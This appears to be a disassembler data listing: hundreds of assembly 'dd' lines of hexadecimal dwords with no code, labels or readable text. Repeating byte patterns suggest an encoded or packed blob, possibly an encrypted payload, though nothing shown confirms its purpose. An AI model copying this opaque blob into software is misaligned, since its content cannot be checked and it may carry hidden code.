		dd 77C3498Ch, 0A020C4E3h, 0B7B9E061h, 16D607B7h, 88339D69h
		dd 7DCE1566h, 0C63620F3h, 7BB61A61h, 0E8321566h, 0C554A0D4h
		dd 436086A8h, 401601EDh, 49B3F4EFh, 44321562h, 2236D4E7h
		dd 1DB51566h, 77CA4942h, 0C76C3152h, 445211A2h,	70CBCBEDh
		dd 41851A06h, 1E537535h, 26DE9407h, 98321566h, 8C8D315Ah
		dd 45321566h, 91524A98h, 70524323h, 69DB743Ch, 0ADCDEA9Ah
		dd 22321577h, 8519DFD7h, 2C504DB8h, 0CCD35C7Bh,	0C483A5C7h
		dd 3506EA76h, 8CF6943Ch, 0B1321566h, 701621EDh,	0D3B3F7EFh
		dd 88321562h, 4436D7E7h, 36B51566h, 0F8524942h,	88321561h
		dd 2DB74958h, 4344F74Bh, 0F2B27507h, 0E91DA7B5h, 171619EDh
		dd 0E1B3F6EFh, 11321562h, 8836D6E7h, 58B51566h,	0CB524942h
		dd 11321577h, 467CAFFAh, 40418AFh, 0FA7B5766h, 0CE15BF70h
		dd 0E9F19E9Bh, 131611EDh, 0E5B3F2EFh, 11321562h, 8836D2E7h
		dd 78B51566h, 31DB4942h, 0BA321566h, 55B40498h,	0E3521B4Bh
		dd 0A59D2324h, 0CF82E01h, 0DF546B9h, 43D60E23h,	22321566h
		dd 1132048Fh, 35656F66h, 8A08EF6Eh, 2843725Bh, 0B6444743h
		dd 0DF522EEh, 43D6358Bh, 22321566h, 3588759Ah, 0EE6E10AAh
		dd 0C753E6EDh, 0C9CA41DBh, 953D1561h, 8832152Bh, 276AA06h
		dd 953D461Ah, 9F3D74BFh, 8832157Eh, 44209D69h, 2FDB1566h
		dd 0BC321566h, 0BDB983DBh, 0B2AAC4A9h, 6E77F535h, 0DA5288EBh
		dd 33D128Ch, 4432156Eh,	22B11A06h, 70321566h, 0E852C699h
		dd 22E4A269h, 4453CAEDh, 3B9FC5E7h, 61B7EA07h, 0AD35F17Ch
		dd 22321563h, 94A5C65Ah, 618F9694h, 2035F17Ch, 208C9769h
		dd 1ECB1566h, 883214E2h, 0C1F5E066h, 25D60F8Fh,	11321567h
		dd 6152E093h, 44321560h, 5CA9AD96h, 94BFD8D5h, 8FD9CC45h
		dd 28A759Eh, 43010BF5h,	1ADBC599h, 0DC321566h, 0D8386B26h
		dd 0FF12A05Eh, 0A4BF0AF1h, 8FD9EC42h, 3C8F989Fh, 0DA35F9E2h
		dd 11321D8Fh, 24CD6966h, 75C599D3h, 24F59434h, 3806FC73h
		dd 0E78C4391h, 0C55BDB54h, 0E90E7088h, 90E4E25Eh, 733C2FA8h
		dd 0AAB35B7Bh, 25615E88h, 0BE38FBE7h, 7F1BB6A4h, 0FD547538h
		dd 0EAB9A600h, 15DE9607h, 91629EFh, 5DA53162h, 0A368030Ch
		dd 7B2B828Ch, 9EBB1A70h, 0AD321566h, 22321577h,	44CFF697h
		dd 92468E98h, 186586D2h, 0DD7F6C0Ah, 288F9E51h,	6135F168h
		dd 4432156Ah, 640F724Fh, 0CF93BB8Ch, 0A23CE2A5h, 0BBCDEADFh
		dd 0E203E999h, 1132138Fh, 51E99466h, 15E20719h,	223215DFh
		dd 9BC31466h, 0AC3E9E67h, 4436D1E7h, 33DB1566h,	3C321566h
		dd 8EF9CFA1h, 0D60A2657h, 0B10D9A94h, 1C8ED456h, 8DB61A06h
		dd 0FF321566h, 20BE6D64h, 11309E69h, 0E9521566h, 0B8FA2507h
		dd 2233AF34h, 0C7331566h, 85BC1A3Ch, 0AD321566h, 2232156Eh
		dd 6B208CB9h, 1D77C6Bh,	0CFB52199h, 0E6B13162h,	973D7562h
		dd 88321565h, 4BEC9E00h, 223213E6h, 11BA1A66h, 0E9321566h
		dd 243AFCA7h, 2232058Eh, 693E4766h, 8C3FC27Ah, 0A9C6E616h
		dd 8E1977AFh, 9A6BE9A7h, 490374B9h, 44339469h, 68CB1566h
		dd 0EE7A9069h, 80DBEA99h, 0B7321566h, 6D015BFFh, 40A5DED7h
		dd 0C02EAB30h, 30034F9Bh, 7A6C1142h, 0EC7A0953h, 86B11A3Ch
		dd 24321566h, 0D12CDCE7h, 0D0B34DDFh, 9113E048h, 89B58007h
		dd 0EFB5C491h, 9C3D75F3h, 88321566h, 9393F4E7h,	1B53456Ah
		dd 0F5333CE3h, 41B61A61h, 4B321566h, 223214EFh,	0AE65E966h
		dd 0E79E5D7Eh, 3FB3D2E7h, 0C5F33E6Dh, 5EE5E262h, 0EB2BAD36h
		dd 83032D98h, 0ABF5943Eh, 98A1973Ch, 3B524A9Eh,	0B489731Ah
		dd 0E23974D2h, 11209069h, 4FCB1566h, 0A03F2CE3h, 22321461h
		dd 10BF1A66h, 74321566h, 0E85A4434h, 7B087464h,	2376D4E7h
		dd 61B374CBh, 3174208Bh, 0A335FCA7h, 39DFFC97h,	0D1F89C54h
		dd 23D2F7E7h, 0F8C5086Dh, 565BDFE7h, 42B34FACh,	29133BE0h
		dd 0E0B3FFB7h, 91034CA5h, 0E868C467h, 4437FC06h, 0B46F1566h
		dd 0F9306C0Dh, 88321572h, 986B8D1Ch, 9D4F32DEh,	12A02EA9h
		dd 1D33209Bh, 6DAF38F4h, 9C8C743Fh, 707FCE65h, 88389E69h
		dd 41DB1566h, 9E321566h, 2E2581E4h, 31547507h, 0C089BBCBh
		dd 4378165Ah, 8C665EDFh, 69B35440h, 55546155h, 5648AD36h
		dd 0D0037E41h, 9FDB943Eh, 0C5268517h, 1AAFAF8Fh, 4263EC4Ch
		dd 0D87D4EDDh, 40D9D434h, 6BC1D6E7h, 0C8BB29FAh, 79B35C3Dh
		dd 2C1FD997h, 2D6BDFEFh, 11320CEBh, 8826FC66h, 0EE9A1566h
		dd 8A235DBFh, 0D609D71Ah, 0B9D2AA2Eh, 3421E0A3h, 429F6F0Eh
		dd 9696AD00h, 7B8CAD00h, 0AD879C07h, 0CB35F17Eh, 11321569h
		dd 4819B395h, 2F5C1817h, 7A245317h, 1E44FCCCh, 883214E3h
		dd 2C61E066h, 82D794Eh,	13D9D43Dh, 49CDD6E5h, 0AFB3178Dh
		dd 2093E3A4h, 4ACE4BEFh, 66DC289Eh, 0C13DFB88h,	223215E4h
		dd 63ED9506h, 3BA8D7E7h, 0C5530944h, 0FFEFC858h, 7AB71ABBh
		dd 71321566h, 0CD36F9E5h, 228A3162h, 98321566h,	61524D60h
		dd 44321563h, 97E4C2F9h, 43677498h, 883211DCh, 1EE79C66h
		dd 0DB6FFB67h, 9DBA0EFh, 0C3D1282h, 4432156Eh, 22309969h
		dd 70521566h, 88389F69h
		dd 4B521566h, 223215E5h, 70ED9E66h, 881F468Fh, 0A5DBED66h
		dd 2DCDEA98h, 113219EFh, 8EB91A66h, 4B321566h, 223215EFh
		dd 0A5AE966h, 1321516h,	83BB315Ah, 2D6DEEEFh, 113201EDh
		dd 86B21A66h, 0AD321566h, 2232156Fh, 0A1B63E3Ch, 89B22FCh
		dd 7DB726C2h, 0CB35F16Bh, 1132156Eh, 0F4861861h, 4209B6C8h
		dd 2232078Fh, 0B4C74A66h, 0D16C80C3h, 0DEFC944Ch, 0D343A983h
		dd 0D087C838h, 0DDCE16AEh, 202D21DBh, 7FDA1405h, 251FC54Fh
		dd 70517179h, 4B22D5A7h, 223202E1h, 1120FC66h, 11951566h
		dd 25C716ACh, 300701D4h, 81A52D38h, 4CBEC13Eh, 4ADBDD57h
		dd 0FE321566h, 0A5A6FC7Eh, 7076C943h, 2907E430h, 31BD1AE9h
		dd 1E321566h, 883218E5h, 443AFC66h, 0FC9A1566h,	78A50E2h
		dd 15BBC92Ch, 43D6185Fh, 2232108Fh, 6776B766h, 880F6DF7h
		dd 4B321466h, 2233D6E5h, 0AB547566h, 3754AFFCh,	0AD5358EBh
		dd 2232156Fh, 0ABEEC6D5h, 0A16C30E8h, 0FF0C94DEh, 2D89AEDDh
		dd 11338AE3h, 8835FC66h, 9BC1566h, 43BE4A28h, 0AB60EDCDh
		dd 0B03B12F6h, 44F09424h, 0D574153Ch, 83F094B4h, 14C1C07h
		dd 60269E70h, 2236D1E7h, 79CE1566h, 883274DFh, 0FE1601EFh
		dd 22321562h, 7168C367h, 98BB1A9Ah, 0AD321566h,	2232156Dh
		dd 1CB5A0AFh, 6003B852h, 25EC5592h, 3ADBA0EFh, 933D1282h
		dd 88321561h, 44339569h, 0DACA1566h, 5AB88EDh, 9521282h
		dd 61EA08BDh, 74627442h, 113215D8h, 0D6C29C66h,	4CB9CD67h
		dd 0AB61EC3Eh, 9AE89CA5h, 4CB1317Ah, 0FC547562h, 953D055Bh
		dd 0F85274B4h, 88321576h, 0F01CC184h, 0D0582EA1h, 84794BD1h
		dd 0C066EBC2h, 21D67D9Fh, 2EBB1566h, 98E39C42h,	87524CAEh
		dd 443213ECh, 22B51A66h, 77321566h, 0E94E04D8h,	0B5B37306h
		dd 0C3B3FB35h, 49200D4Eh, 75B73E07h, 0AD35F14Fh, 2232156Dh
		dd 41739AD2h, 51C1D61Ch, 85F120C1h, 2D521786h, 113216E6h
		dd 47B97366h, 49DB7493h, 3C321566h, 0F4C535A9h,	3603BED1h
		dd 17666206h, 3AE79065h, 923D1282h, 8832157Bh, 94B37306h
		dd 33DB4983h, 91321566h, 9F00ADC7h, 0A0A35F7Bh,	0F9BCFFBh
		dd 64159544h, 0B9C22407h, 0B1C224A0h, 26B91ACBh, 71321566h
		dd 0DE537406h, 6821E7D8h, 0D4B35314h, 23EB2DB4h, 896CE54Fh
		dd 6F1310AEh, 31DB5593h, 0DC321566h, 372D0AD9h,	0F3CA4ED7h
		dd 9804B2A2h, 4C527126h, 0CCBB7660h, 25CB0942h,	20FFFC9Eh
		dd 1CDB1566h, 11321566h, 82C42D3h, 0AC4DF009h, 6848B376h
		dd 9D59C31h, 443211A1h,	26DD9666h, 4D1629E1h, 711619EFh
		dd 4453E00Eh, 6269C66h,	11321A8Fh, 0E581266h, 0DC5B43C6h
		dd 4D399A78h, 72A62B0Ch, 3CEDC57h, 0A01468F3h, 25BF1A61h
		dd 1E321566h, 883214E4h, 4609E966h, 22939169h, 0E8521566h
		dd 953CDEDh, 4432118Ah,	6069C66h, 113211D8h, 0D6C01466h
		dd 443A9269h, 0A53D1566h, 11321564h, 30627406h,	17FE5A19h
		dd 0EE7D6B4Bh, 49F31435h, 88339B69h, 7FCE1566h,	0C63620EBh
		dd 0A2B71A61h, 87CDEA99h, 443212E5h, 7C637566h,	70FD9E00h
		dd 0F07FAE35h, 0AFF32D84h, 0D1B35E62h, 12BC32E5h, 6169CDEFh
		dd 44321577h, 7445476Ah, 0ACF139A0h, 9DA1273Ah,	77F2C86Dh
		dd 0C5BF98FFh, 1E35F129h, 883214ECh, 0A5CDE966h, 2222FC06h
		dd 0E5A1566h, 3B8C9768h, 0E7992CEBh, 56638040h,	98534FEEh
		dd 6C20C4EBh, 70CDE961h, 0E6B14F42h, 1139FC62h,	600C1566h
		dd 56CB4D7Dh, 5EA684FCh, 353E9EE8h, 9D79C33h, 443211A3h
		dd 26F79466h, 96321566h, 616E314Ah, 44321568h, 0BC6EDC89h
		dd 34A6BD9Fh, 2D098D9Ah, 0CD61B30Dh, 26F19485h,	92321566h
		dd 94B5118Dh, 70BB4942h, 0A33D7542h, 11321564h,	8B83D6EDh
		dd 0DDAF9E07h, 0CB35F172h, 11321576h, 1220EC3Eh, 0CA4E81F7h
		dd 6F3F83F1h, 0ACDB76ADh, 8CB32699h, 5127D942h,	63E9E18h
		dd 1136D1E7h, 61B31566h, 3A2700AAh, 0F3B79E9Eh,	1E35F174h
		dd 88321BEFh, 443BFC66h, 97EE1566h, 39E034DAh, 59DA6E33h
		dd 57DA7586h, 17321566h, 7DB9FE2h, 0E3ED30AFh, 62B20ED6h
		dd 69E744C2h, 90540E9Ch, 0D26BD288h, 44379069h,	88C1566h
		dd 7058D905h, 0AE579065h, 0C13D1282h, 22321561h, 11339C69h
		dd 0B9CA1566h, 49BB1A90h, 0CB321566h, 1132156Eh, 0AB710443h
		dd 995FB6EEh, 26B94336h, 15F69642h, 8821FC38h, 23F11566h
		dd 1FC59D81h, 33413930h, 0DBB68970h, 0E1419028h, 0CB9F73F5h
		dd 11321563h, 0BBBB91C4h, 45B71A16h, 0DE321566h, 7130F5A7h
		dd 8832058Fh, 0D595D066h, 6BAEE479h, 0F03B9144h, 6EAE4DAEh
		dd 25C29EB3h, 3AE79065h, 933D1282h, 8832156Ch, 44BA1A06h
		dd 0A9321566h, 0E103749Dh, 7803D357h, 44321E8Fh, 0B3ECAA66h
		dd 0D6DFA7F6h, 0D524107Ch, 175275CBh, 0ED8D1A39h, 0B5D1AD07h
		dd 8D534115h, 1B502748h, 821B763h, 3CFA145Fh, 0B11806C4h
		dd 26003B4Bh, 2AB41A39h, 1E321566h, 883217E7h, 0CF537566h
		dd 0AB653152h, 15F59481h, 0B321566h, 78B511A1h,	0A1CB4942h
		dd 0F510B8DBh, 0C3D1461h, 443215D5h, 0BFBF2E9Ah, 1E35F167h
		dd 8832B3E2h, 0CD3DE066h, 2232156Ah, 11349369h,	43D1566h
		dd 44321566h, 3FD3985Dh, 953D1282h, 883215E1h, 443A9B69h
		dd 0A13D1566h, 11321564h, 5097406h, 43D61887h, 225F9169h
		dd 973D1566h, 88321574h, 4432188Fh, 72F1C466h, 1889180Ah
		dd 0D76DC248h, 0D9BFDD31h, 25DE43B5h, 0C9851A06h, 8839FC35h
		dd 15FE1566h, 0BC24B18Bh, 26ECF8D5h, 77534BEBh,	45BC1AB5h
		dd 0DA321566h, 44F79C33h, 30524839h, 3C95500Ah,	0A7BB749Eh
		dd 16D637C7h, 0A95FFC9Ah, 54DB1566h, 0B8321566h, 63D9EE96h
		dd 0DDB8BD79h, 89848643h, 0AF7396D1h, 0FD64C6FBh, 8838FC61h
		dd 9F1C1566h, 6F6E134Ah, 6B0ADE22h, 0E8C7C699h,	0DA5805DCh
		dd 0EAFF9578h, 0BC8F9607h, 8835F144h, 446E9169h, 44521566h
		dd 2A53DFEDh, 6C21D8E3h, 70B61A61h, 2D321566h, 11321AEDh
		dd 8838FC66h, 7171566h,	0A7C2B171h, 13B9A0C3h, 9718AB06h
		dd 7F533C8Bh, 0C61CECE3h, 32B71A61h, 0E8321566h, 0FF89400h
		dd 5B2CAD95h, 0F853175Fh, 77CDEA54h, 443E9269h,	0A83D1566h
		dd 11321560h, 88329D69h, 0C1091566h, 25D607E7h,	11539069h
		dd 93D1566h, 44321567h,	378F969Eh, 1135F146h, 88279169h
		dd 0C7C71566h, 0C638D0DBh, 953D1561h, 88321559h, 44339B69h
		dd 0AFCB1566h, 0FAE888E3h, 8826FC61h, 0E6B81566h, 0E8B077F0h
		dd 0C0D4F538h, 21AABFB7h, 16C41C15h, 0E5DB514Fh, 0F8CDEA98h
		dd 88321569h, 261FFCD5h, 0F31D9241h, 39C489Eh, 0B3715B8Fh
		dd 0A02094E3h, 85B61A61h, 0F8CDEA98h, 8832156Fh, 0EF946616h
		dd 651C2CF0h, 298F96F1h, 8935FE9Eh, 445D9069h, 31DB1566h
		dd 0D3321566h, 0D2776BB3h, 815D39F4h, 9B813F45h, 59D39CF4h
		dd 0D09986Fh, 43D9ED0Ah, 22799069h, 993D1566h, 8832157Fh
		dd 4432018Fh, 0D98A4566h, 0FF4F31B5h, 0B16C60EFh, 0E0A24640h
		dd 0BEE166EDh, 0F5B798F5h, 61324C6Dh, 44321575h, 0E07304F5h
		dd 889528E8h, 0E9C716ACh, 560701D4h, 0D7A52D38h, 0EECC5E8Fh
		dd 4AB37599h, 632CB6A6h, 0CBCD2407h, 11321560h,	3D402C64h
		dd 0F9B1EC14h, 25D6367Bh, 2B61A66h, 61321577h, 44321575h
		dd 8D6C66CEh, 26A9DA79h, 0B17F2E26h, 4300DD8Dh,	0DE1AFA64h
		dd 0E96A905Dh, 0D3D128Dh
		dd 4432155Ah, 2232058Fh, 294B0466h, 0B73C670Eh,	0DCB2983Eh
		dd 0CAF58E19h, 50B79E5Ch, 7D35F164h, 4433AF34h,	0F5331566h
		dd 1120FC3Ch, 27BE1566h, 3C8D05DBh, 61153BBFh, 8CFB2BFFh
		dd 61CDB4Bh, 0BC52905Dh, 0A73D128Dh, 11321532h,	88269869h
		dd 4BDB1566h, 2C321566h, 9E35F0A1h, 0FE0F429Ch,	0BF579F3Eh
		dd 0A7B97368h, 16D61057h, 88321A8Fh, 96F87B66h,	92B567E5h
		dd 22E587C1h, 5308FC60h, 0BB8B449Eh, 0BCDEA99h,	0DB4CA9h
		dd 38321566h, 1E6FD904h, 3AB09DCh, 0AC6B3E63h, 86B2668Ch
		dd 0BC6E905Dh, 0A73D128Dh, 11321559h, 0ADB79E93h, 4B35F14Bh
		dd 22320DEDh, 1121FC66h, 0F6341566h, 7507B816h,	5351866h
		dd 375742F4h, 49DE27D1h, 4EB81A46h, 42321566h, 0AAF5A269h
		dd 0D9F5F360h, 0BB8B4407h, 0BCDEA99h, 2ACE4CA9h, 63CA71E3h
		dd 8B71A61h, 2D321566h,	113219E5h, 8EB51A66h, 4B321566h
		dd 223215E2h, 48B79E66h, 6135F173h, 4432156Ch, 31C9EDE9h
		dd 246FDC98h, 0DEC7A987h, 443214D8h, 7CC51466h,	11279969h
		dd 98DB1566h, 0EE321566h, 82FD8B5Ch, 949F555Fh,	52214276h
		dd 7F2D6B29h, 0C9CA7DE3h, 0FB71A61h, 0E8321566h, 0B1EAFDE6h
		dd 0A7B9E907h, 16D613ABh, 898B449Eh, 45321566h,	0A43D4CA9h
		dd 11321567h, 0E4B72E9Ah, 4B35FE9Eh, 223256E3h,	19B61A66h
		dd 87321566h, 443217EFh, 0A9537566h, 0F53010E3h, 80B31A61h
		dd 24321566h, 0A2EAA269h, 4253BE80h, 883214DDh,	1FED1466h
		dd 2232068Fh, 0C7DA4666h, 0FF43BF56h, 8B52BC9h,	0D3B26960h
		dd 142946D9h, 7042905Dh, 0C13D128Dh, 22321549h,	1EEA9F06h
		dd 883210EAh, 6EE9AD66h, 0A95307DAh, 0F51014E3h, 82B01A61h
		dd 0AD321566h, 22321563h, 22472904h, 898C435Ah,	45321566h
		dd 19CA4B91h, 0FACA61E3h, 0BEB71A61h, 0BD321566h, 2D6F90EDh
		dd 71521282h, 62A7AB00h, 28C49400h, 0D0B37447h,	62F59FF2h
		dd 8CB14207h, 246D1442h, 22321A8Fh, 73E56E66h, 8151BE1Fh
		dd 0F90B4260h, 0F3970C6Ch, 69B72E07h, 8735FE9Eh, 443259E3h
		dd 223FFC66h, 3331566h,	0CACE72D4h, 0FECFB30Bh,	0A99295A3h
		dd 0F51564E3h, 8835FC61h, 18721566h, 39D1B281h,	3DB342D3h
		dd 77CDEA42h, 22524A99h, 0CB60CAEDh, 11321575h,	0E72099BCh
		dd 333750ADh, 0ADF3E005h, 0B1C17F2h, 0D358DFF0h, 38B72E07h
		dd 2D35FE9Eh, 113243E3h, 9ADB7566h, 30321566h, 0CC667102h
		dd 0D9D80564h, 0F5B76D7Dh, 0BB065223h, 2239FDB2h, 4B841566h
		dd 2A585E03h, 8F2F0BD0h, 0A9534A75h, 0F517E8E3h, 3062EC61h
		dd 0BBCDEA99h, 426AD24Fh, 1132048Fh, 29BD0166h,	487F218Bh
		dd 73110F3Bh, 0FF22933Ch, 36542B60h, 7F53444Ah,	0C9CA91E3h
		dd 22B71A61h, 61321566h, 44321563h, 1AC254C9h, 4B79ECFh
		dd 7435F179h, 16BBAD36h, 0C2F32885h, 0C1C55560h, 0D58C3826h
		dd 8333924Dh, 0A73D753Eh, 11321565h, 3FC9E00h, 0C109749Eh
		dd 25D9EDE6h, 11789069h, 87521566h, 0FA54DCD1h,	0A153BEB6h
		dd 0F51CC8DBh, 0D3D1561h, 44321552h, 2239FC9Ah,	59181566h
		dd 0DED23BEEh, 0B02FA4CFh, 17B79E01h, 7135F169h, 8832128Fh
		dd 13D30B66h, 0EA3C508Ch, 5B3586D9h, 36647414h,	0BBCDEA99h
		dd 0DA6CE24Fh, 1C47A8E5h, 87321282h, 443274E2h,	23BD1A66h
		dd 0E8321566h, 713E905Dh, 0C13D128Dh, 22321528h, 11359669h
		dd 73D1566h, 44321567h,	34B41A9Ah, 71321566h, 88321A8Fh
		dd 0CAABA666h, 0C5A2196Ch, 8884E2BDh, 6680D6CDh, 0F5B79E07h
		dd 0CB35F14Bh, 11321576h, 0D1273C43h, 0F7831211h, 27D329E8h
		dd 22C818Dh, 77CDA833h,	0AB1BEA99h, 9FB1ED3Bh, 16D6383Bh
		dd 0E1B61A66h, 24321564h, 2DDBED06h, 0E2321566h, 6453F2A0h
		dd 0A9296E78h, 97F876B0h, 77530A5Ch, 3580FEE7h,	458F9607h
		dd 2235F16Fh, 130C9169h, 9CDB1566h, 85321566h, 67108587h
		dd 6380CAD0h, 0E2D6546h, 0BF2ABB25h, 1908D615h,	0FACAE5E3h
		dd 0C2B71A61h, 0B8321566h, 5A390EDh, 1ADB1282h,	13321566h
		dd 5658CEFAh, 0F96A084Bh, 0AB604840h, 88321567h, 0AD68C267h
		dd 22321563h, 7323579Eh, 0B3D7505h, 44321564h, 33DBC3EDh
		dd 0FD321566h, 0B2EFC03Dh, 0B5D26A91h, 7D870479h, 0A58EC78Bh
		dd 88B72E07h, 4B35FE9Fh, 22320DE3h, 94B9EC66h, 8FD60E43h
		dd 17ED929Fh, 79161199h, 903DCAE1h, 88321567h, 0B0B72E9Eh
		dd 2D35FE9Eh, 113241E3h, 0DB9ED66h, 43D62483h, 2226FD06h
		dd 0F45C1566h, 5F1FE9AEh, 53786632h, 0C3FEF303h, 0E9FEBAD3h
		dd 59B26EE8h, 4FDB4E07h, 4E321566h, 0AE5DD34Dh,	7F17A4A7h
		dd 0BC538536h, 2233AE35h, 0CE331566h, 883DFC3Dh, 0CB031566h
		dd 0D0AE31E2h, 0F27DE0CFh, 0D3420965h, 40B72E4Fh, 2D35FE9Fh
		dd 11325BE3h, 36547566h, 0A2B241D9h, 2D5274B1h,	113215E4h
		dd 0E9C99E66h, 517390EDh, 2DDB1282h, 60321566h,	6F9988C1h
		dd 0C9199CEAh, 13CD62A7h, 0FDB1EDCCh, 0AC0E9C62h, 1B161199h
		dd 2232078Fh, 2E1DC066h, 27305215h, 4D0BDE35h, 3F38CC6Ah
		dd 2AF5EFF9h, 63CB1DE3h, 2CB71A61h, 2D321566h, 11320FEAh
		dd 9CB61A66h, 0AD321566h, 22321569h, 29683E96h,	16843735h
		dd 3B5C8CB5h, 0A9FCD2F7h, 0F527F8E3h, 89BF1A61h, 0BC321566h
		dd 0DBB97306h, 11329269h, 0DA531566h, 575085DCh, 0D0B35F38h
		dd 4F2177E8h, 6168C267h, 44321577h, 667F4960h, 0A482DADh
		dd 1781E5A4h, 0CFB06856h, 26BC1A87h, 71321566h,	0B3537406h
		dd 0AFCAEDE3h, 6FB71A61h, 1E321566h, 88321BE7h,	85B97566h
		dd 2232108Fh, 10442166h, 7053AF36h, 5D3790EDh, 32DB1282h
		dd 0F7321566h, 0D209C2CCh, 54596ACEh, 342B887Bh, 0E944BB5Fh
		dd 883DAC37h, 85B30568h, 40802FD1h, 0E6D3C42Fh,	79B35CB7h
		dd 5E4D9F13h, 0DA6BDA67h, 0E9CE905Dh, 0D3D128Dh, 4432157Eh
		dd 2DFD9E06h, 9A53DAD1h, 6C245CE3h, 0FC62E061h,	22321567h
		dd 0E96AD267h, 8133A8E5h, 4B321282h, 22386CE2h,	4252E066h
		dd 0E930CEE7h, 4B6B1D90h, 223217EAh, 70537566h,	70BA905Dh
		dd 0C13D128Dh, 2232152Bh, 68B79E9Ah, 8735F149h,	44321FEEh
		dd 0A3547566h, 1E56A380h, 0D853D5D1h, 0CC539DDEh, 647B307Ch
		dd 247A4E1Ah, 0BFF47D28h, 0A7585763h, 4F441061h, 0D633DF28h
		dd 8821FC3Eh, 8AF1566h,	0A902E8D2h, 1AC758D9h, 0C2DED89Bh
		dd 8B8603ACh, 3EB72E80h, 1E35FE9Fh, 883249E3h, 56DB7566h
		dd 98321566h, 3480CD53h, 4A4D1C2Ch, 8FB3648Ah, 3FB74DA1h
		dd 12B61A06h, 87321566h, 0CF53CED9h, 0C6272CE3h, 0AB60E961h
		dd 0E5866221h, 6878D7E7h, 0F0C56467h, 0E3B3C791h, 0C95F1282h
		dd 0AEB3C791h, 42154EEFh, 1E68C267h, 883219ECh,	42BF1A66h
		dd 2D321566h, 113215E8h, 4B72E66h, 4B35FE9Eh, 223233E3h
		dd 19B91A66h, 87321566h, 443217E6h, 0A9537566h,	0F531CCE3h
		dd 0D0627561h, 68D5AC00h, 0DD8B4407h, 38CDEA99h, 0B3CA4CA9h
		dd 0AFCA85E3h, 6EB71A61h, 1E321566h, 883212EBh,	45B71A66h
		dd 0DE321566h, 4C790EDh, 9ADB1282h, 0FA321566h,	0A482D582h
		dd 0C680B728h, 579C95B5h, 6C4A5D1Ch, 9860E9BDh,	0DD134A9h
		dd 9809D7E7h, 857853A4h, 0D0B3128Ch, 7869603Eh,	4AF09424h
		dd 6DA476A6h, 19CA4FB1h, 0FACA81E3h, 0DEB71A61h, 0B8321566h
		dd 2CAF90EDh, 0F8521282h, 8832156Eh, 2FACEB68h,	7B85E667h
		dd 975FAD00h, 3163ED07h
		dd 30F42B28h, 6AD39427h, 0E64DC055h, 8BD3D4BFh,	75BF4E7h
		dd 0D3B33D76h, 19225427h, 876BDA67h, 443201E9h,	223DFC66h
		dd 15A31566h, 0CFFDEEE2h, 0DA2B8098h, 0CE75388Ah, 89B72EE2h
		dd 8735FE9Eh, 443274E3h, 223AFC66h, 0E1001566h,	0DDEBB4A5h
		dd 0F9B11D94h, 25D63BBBh, 56B71A66h, 87321566h,	44320CEBh
		dd 0C8B37566h, 247BB345h, 88321E8Eh, 5A9E6766h,	351135DDh
		dd 0C4D379E2h, 0DB9743Ch, 43D61E47h, 223E9B69h,	963D1566h
		dd 88321560h, 44329269h, 9A621566h, 11321567h, 876AD267h
		dd 443214E8h, 0A709E066h, 16D9EDFAh, 881A9069h,	0CFCA1566h
		dd 0C61DD0E3h, 0A962ED61h, 77CDEA99h, 4B6AD24Fh, 223204E6h
		dd 113EFC66h, 0DB661566h, 0DDD648B8h, 88B1DF7Fh, 94090884h
		dd 8FD9EDC6h, 44699069h, 44521566h, 1FCEF3E7h, 558F9607h
		dd 4435F148h, 22759069h, 0A9521566h, 0A4EC473Dh, 0A5B79E07h
		dd 4235F166h, 11309269h, 28821566h, 44269369h, 2DDB1566h
		dd 4A321566h, 557A60CDh, 4698B669h, 6F927612h, 40536426h
		dd 77CDEADFh, 1DFD3C99h, 22359569h, 9E3D1566h, 88321567h
		dd 0E0B72E93h, 2D35FE9Eh, 113244E3h, 93BA1A66h,	4B321566h
		dd 223200ECh, 1122FC66h, 46101566h, 0E96EF3D3h,	0D0B9500Fh
		dd 88DD6CC8h, 0DB9D464h, 43D60F5Fh, 2BDB4306h, 0CF321566h
		dd 2850692Eh, 0C442CE74h, 223AFD39h, 0B81C1566h, 6727DA5Fh
		dd 256BCFE3h, 1377FAE1h, 20CF2489h, 0D09E989h, 43D9EDCEh
		dd 22049069h, 9ACB1566h, 6C26F0E3h, 14C77561h, 78FDA269h
		dd 0EE8F4007h, 0A1CDEA99h, 4B524889h, 223210EFh, 0F8B37366h
		dd 3548DFEh, 0C13D749Fh, 2232156Eh, 11309469h, 0E9521566h
		dd 0BC82905Dh, 0A73D128Dh, 113215E0h, 66B3E906h, 55BD5D15h
		dd 0FF8F9607h, 1135F148h, 88429069h, 49DB1566h,	0C9321566h
		dd 0B8D5EB6Fh, 0DF1E2FF6h, 78F18869h, 2239FC06h, 711B1566h
		dd 2079864Eh, 85DF4940h, 223EFCB1h, 56CB1566h, 0FC8A569Eh
		dd 74348DA7h, 0A953879Ch, 0F5292CE3h, 8820FC61h, 680A1566h
		dd 35A550ABh, 0CDF2F54Eh, 8D632177h, 0A6BBE0FDh, 2233AE35h
		dd 0CE331566h, 0EE52EC3Dh, 379AE3E7h, 0F1CAAB06h, 943D3C27h
		dd 88321566h, 0C1097407h, 25D9EDCAh, 11679069h,	87521566h
		dd 443216E7h, 0F8B97366h, 0ED532DD7h, 0A6EFA8E5h, 4B321282h
		dd 22322FE3h, 10B21A66h, 70321566h, 62BF90EDh, 74521282h
		dd 11329069h, 0E96A1566h, 44339F69h, 72CB1566h,	113214DEh
		dd 0D0F51466h, 443E9E69h, 98521566h, 6D5D7023h,	8CEB9400h
		dd 7FCE7441h, 0C9CAA1E3h, 53B71A61h, 87321566h,	44321DE3h
		dd 20BA1A66h, 71321566h, 0DB9E907h, 43D6305Bh, 34F69506h
		dd 1138FC06h, 229C1566h, 0DD691589h, 18BF8F00h,	70C1AA69h
		dd 0A4B14207h, 246DEA42h, 22349769h, 9E3D1566h,	88321566h
		dd 0FCB72E07h, 2D35FE9Eh, 11326EE3h, 883BFC66h,	81F11566h
		dd 78269C59h, 9A2E380Dh, 6C1E0CE3h, 49DB7561h, 24321566h
		dd 9DA0EF56h, 55912DACh, 0BE4CA58Eh, 2232068Eh,	0CAB93966h
		dd 0E5E1878Dh, 3574076Bh, 0F197CBDh, 45A5D9BAh,	0E96DDBEDh
		dd 4432048Fh, 8BBE1266h, 61A71AB9h, 3DA1C79Ch, 71C0456Fh
		dd 99617AC6h, 11321567h, 6169CA67h, 44321572h, 0AC00CC42h
		dd 0B325D44Bh, 965F5FC7h, 0DACFF7ACh, 0E8FCA44Eh, 0E98E905Dh
		dd 0D3D128Dh, 44321502h, 22321E8Fh, 0CD79E266h,	58F50654h
		dd 5A7E6AD5h, 82F90EDh,	963D1282h, 8832157Ah, 443AFC06h
		dd 7B281566h, 0AF5CC3C8h, 80DB0B61h, 79321566h,	3539C25Ch
